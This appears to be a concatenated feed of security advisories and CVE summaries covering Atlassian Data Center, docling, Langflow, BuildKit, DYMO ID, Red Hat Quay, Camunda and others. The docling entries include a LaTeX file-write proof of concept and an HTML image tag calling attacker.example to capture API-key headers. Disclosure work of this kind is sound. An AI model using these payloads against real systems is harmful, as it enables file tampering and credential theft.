This is a vulnerability in Bitbucket Data Center, Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center. Crowd Data Center, Crucible and Fisheye. This Arbitrary File Access vulnerability allows an unauthenticated attacker to access specific files within the web application root directory in affected versions. Exploitation requires prior knowledge of the target file's exact name and path; this vulnerability does not allow attackers to enumerate or list directory contents. In some configurations, there may be some sensitive files that make this highly severe. This vulnerability allows an unauthenticated remote attacker to access specific files within the web application root directory in affected versions. The vulnerability must be addressed for affected versions of: -- Bitbucket Data Center, introduced in version >= 4.6.0, fix versions: 9.4.26, 10.2.8, 10.5.1 -- Confluence Data Center, introduced in version >= 5.10.0, fix versions 9.2.26, 10.2.19 -- Crowd Data Center, introduced in version >= 2.11.0, fix versions 6.3.7, 7.0.3, 7.1.7, 7.2.4 -- Jira Software Data Center, introduced in version >= 7.1.0, fix versions 9.12.40, 10.3.26, 11.3.12 -- Jira Service Management Data Center, introduced in version >= 3.1.0, fix versions 5.12.40, 10.3.26, 11.3.12 -- Bamboo Data Center >= 7.0.1, fix versions 10.2.24, 12.1.12 -- Crucible, fix versions 4.9.15 -- Fisheye, fix version 4.9.15 -- Exploitation requires prior knowledge of the target file's exact name and path. The vulnerability does not include the capability to enumerate or list directory contents.
openSIS Classic 9.3 allows an authenticated user with the built-in teacher role can select an arbitrary staff record through staff_id and cause the School Information update path to reset that selected account's password.
### Summary
`allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.
### Details
In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.
### Affected configurations
Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running.
### Impact
Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`.
### Patches
Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported.
### Workarounds
Upgrade to 2.131.0. For older versions:
Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`.
### Summary
When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (`LatexBackendOptions(tikz_engine="tectonic")`), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted `.tex` file can read files the process can read and write files at paths the process can write. If the caller also sets `tikz_engine_allow_shell_escape=True`, the document can run shell commands through `\write18`.
### Details
`docling/backend/latex/engines/tectonic.py` writes the picture source into a temporary document and runs the `tectonic` binary on it. `_resolve_local_dependency` only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:
- `\input{/abs/path}`, `\verbatiminput{...}` and `\openin` read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory `DocumentStream`, staging is skipped entirely.
- `\immediate\openout` / `\write` create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's `--untrusted` flag does not block them either.
Separately, the `TectonicEngine` constructor defaults to `allow_shell_escape=True`. The LaTeX backend always passes `tikz_engine_allow_shell_escape` explicitly (default `False`), so this default only affects code that instantiates `TectonicEngine` directly.
### Affected configurations
- Affected: callers that set `tikz_engine="tectonic"`, have a `tectonic` binary available (on `PATH` or in the docling cache), and convert untrusted LaTeX.
- Not affected: the default configuration (`tikz_engine=None`). docling does not install `tectonic` automatically, and the CLI exposes no option to enable it.
### Impact
Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.
### Proof of concept
```latex
\documentclass{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
\immediate\openout15=/tmp/docling-tectonic-poc.txt
\immediate\write15{written by the input document}
\immediate\closeout15
\node {x};
\end{tikzpicture}
\end{document}
```
Converting this file with `LatexBackendOptions(tikz_engine="tectonic")` creates `/tmp/docling-tectonic-poc.txt`.
### Patches
Mitigated in docling 2.132.0 by [#4419](https://github.com/docling-project/docling/pull/4419):
- `TectonicEngine` now defaults to `allow_shell_escape=False`, and without shell escape Tectonic runs with `--untrusted` and `--only-cached`.
- Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the `\openin`, `\openout`, `\XeTeXpicfile` or `\XeTeXpdffile` primitives, or names an absolute, home, drive-letter or parent-directory path in `\input`, `\include`, `\includegraphics`, `\InputIfFileExists` or `\graphicspath`.
This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the [pipeline options reference](https://github.com/docling-project/docling/blob/main/docs/reference/pipeline_options.md), untrusted LaTeX rendered with `tikz_engine="tectonic"` should still be processed in an isolated environment.
### Workarounds
Upgrade to 2.132.0. For older versions:
- Do not enable `tikz_engine="tectonic"` for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network).
- Never set `tikz_engine_allow_shell_escape=True` for untrusted input.
CVE-2026-105743 is a time-of-check to time-of-use (TOCTOU) race condition vulnerability in the docling-project's docling software. Versions from 2.91.0 up to but not including 2.132.0 are affected. The issue arises because the validate_url_safety function performs a single IPv4 lookup to validate a hostname but then allows the HTTP client to resolve and parse the original URL again, enabling DNS rebinding and mixed public/internal address records to bypass validation. Additionally, HTMLBackendOptions(render_page=True) permits HTTP and HTTPS requests without validating the resolved destination. Exploitation requires remote fetching to be enabled, and the response content is only exposed when decoded as an image or rendered passively in a page screenshot. The vulnerability is fixed in version 2.132.0.
### Summary
`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.
### Details
`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.
### Affected configurations
- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.
### Impact
Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.
### Proof of concept
```html
<img src="https://attacker.example/pixel.png">
```
Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`.
Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.
### Patches
Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.
### Workarounds
Upgrade to 2.132.0. For older versions:
Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
CVE-2026-93326 is a medium severity vulnerability in moby BuildKit affecting versions from 0 up to and including 0.33.0. It involves incorrect behavior order where validation occurs before canonicalization in a Git source build step. This flaw allows a malicious build definition to make a Git repository appear as if it originates from a different remote URL during cloning. However, stricter validations based on commit SHA, commit data, or signatures remain effective.
Kumo is an open-source domain OSINT and reconnaissance framework designed to automate and centralize external domain reconnaissance. It runs 27 modules in parallel to gather DNS, port, certificate, subdomain, technology stack, leaked credentials, vulnerability checks, and other publicly available information about a target domain. It requires no API keys or elevated privileges and provides both CLI and web interfaces for scanning and reporting. Kumo is intended for use on domains the user is authorized to test and does not itself represent a vulnerability or exploit.
A security flaw has been discovered in dotnet eShop .NET 8. The impacted element is the function GetOrderAsync of the file src/Ordering.API/Apis/OrdersApi.cs of the component Ordering API. Performing a manipulation of the argument OrderNumber results in improper control of resource identifiers. The attack is possible to be carried out remotely. The project was informed of the problem early through an issue report but has not responded yet.
Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.5.0 until 1.10.3, an IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (POST /api/v1/mcp/project/{project_id}/install) allowed authenticated remote attackers to bypass the "local-only" access restriction. By sending a spoofed X-Forwarded-For: 127.0.0.1 header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem. This vulnerability is fixed in 1.10.3.
The SelectorsHub Chrome extension, used by approximately 400,000 users, has been found to open advertisement tabs selected by its server without any user interaction. The extension fetches ads from a server that can change the URLs dynamically without extension updates. It also collects cookies broadly and sends user selectors to a domain that currently redirects to a gambling site. This behavior resembles adware and poses privacy and security concerns, especially for users in sensitive environments.
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, any authenticated Langflow user can achieve Remote Code Execution (RCE) on the server by adding an MCP server with the "Stdio" transport. The user-supplied command field is passed directly to bash -c "exec {command}" with zero validation, no allowlisting, and no sandboxing. The command executes immediately when the server list is fetched. Additionally, the env field allows arbitrary environment variable injection (e.g., LD_PRELOAD, PATH override). This vulnerability is fixed in 1.9.0.
A flaw has been found in O2OA up to 10.0.1-ce. This affects the function ActionUploadExcelWithUrl of the file /x_general_assemble_control/jaxrs/excel/upload/with/url of the component General Module. Executing a manipulation of the argument fileUrl can lead to server-side request forgery. The attack can be launched remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.
Canimaan Software ClamXAV versions 3.3 through 3.11 contain a local privilege escalation vulnerability due to a race condition and insufficient file validation in the Privileged Helper Tool. This flaw allows a local attacker to execute arbitrary code with system privileges. The vulnerability is fixed in version 3.11.1.
CVE-2026-105699 is an authorization bypass vulnerability in langflow versions 1.6.8 through 1.9.0. It allows a user with access to any project-scoped MCP endpoint to read another user's private flow-backed files without proper authorization. The flaw arises because the resource URI supplied by the user is not verified to belong to the authenticated user or project. This vulnerability exposes sensitive uploaded documents, structured data, prompts, and other private artifacts but does not allow modification of victim files or flows. The issue is fixed in langflow version 1.9.1.
Newell Brands DYMO ID versions 1.5.1.71 up to but not including 1.6.0 contain a vulnerability where the plugin Modules directory is resolved relative to the process working directory. This allows an attacker to place a malicious job file and DLL in the same folder, causing code execution at the victim's privilege level when the job file is opened. The issue is fixed in version 1.6.0.
Newell Brands DYMO ID versions from 1.5.1.71 up to but not including 1.6.0 contain an XML External Entity (XXE) vulnerability due to improper restriction of XML external entity references. The application parses job files using XmlDocument.Load() without disabling DTD processing, which allows crafted files on browsed network shares to trigger server-side request forgery (SSRF), capture NTLMv2 credentials, read local files, or cause application crashes. This vulnerability is fixed in version 1.6.0.
CVE-2026-105447 is an authorization flaw in Red Hat Quay 3 where build trigger requests expose repository write tokens to users with global read-only administrative privileges. Authenticated users with read-only access can exploit this to retrieve delegate tokens via the build trigger API. This allows them to bypass read-only restrictions and push container images to private repositories, resulting in privilege escalation.
Previous versions of HP ThinPro (prior to HP ThinPro 8.1 SP10) could potentially contain security vulnerabilities. HP has released HP ThinPro 8.1 SP10, which includes updates to mitigate potential vulnerabilities.
Previous versions of HP ThinPro (prior to HP ThinPro 9 SP3) could potentially contain security vulnerabilities. HP has released HP ThinPro 9 SP3, which includes updates to mitigate potential vulnerabilities.
Camunda 7 versions 7.24.0 through 7.24.14 contain an incorrect authorization vulnerability in the Admin web application's first-run setup endpoint. This flaw allows an unauthenticated remote attacker to create a new administrator account if the camunda-admin group is empty, even when the system is fully administered. Exploitation can lead to account takeover and potential unauthorized process deployment or script execution as the engine's service user.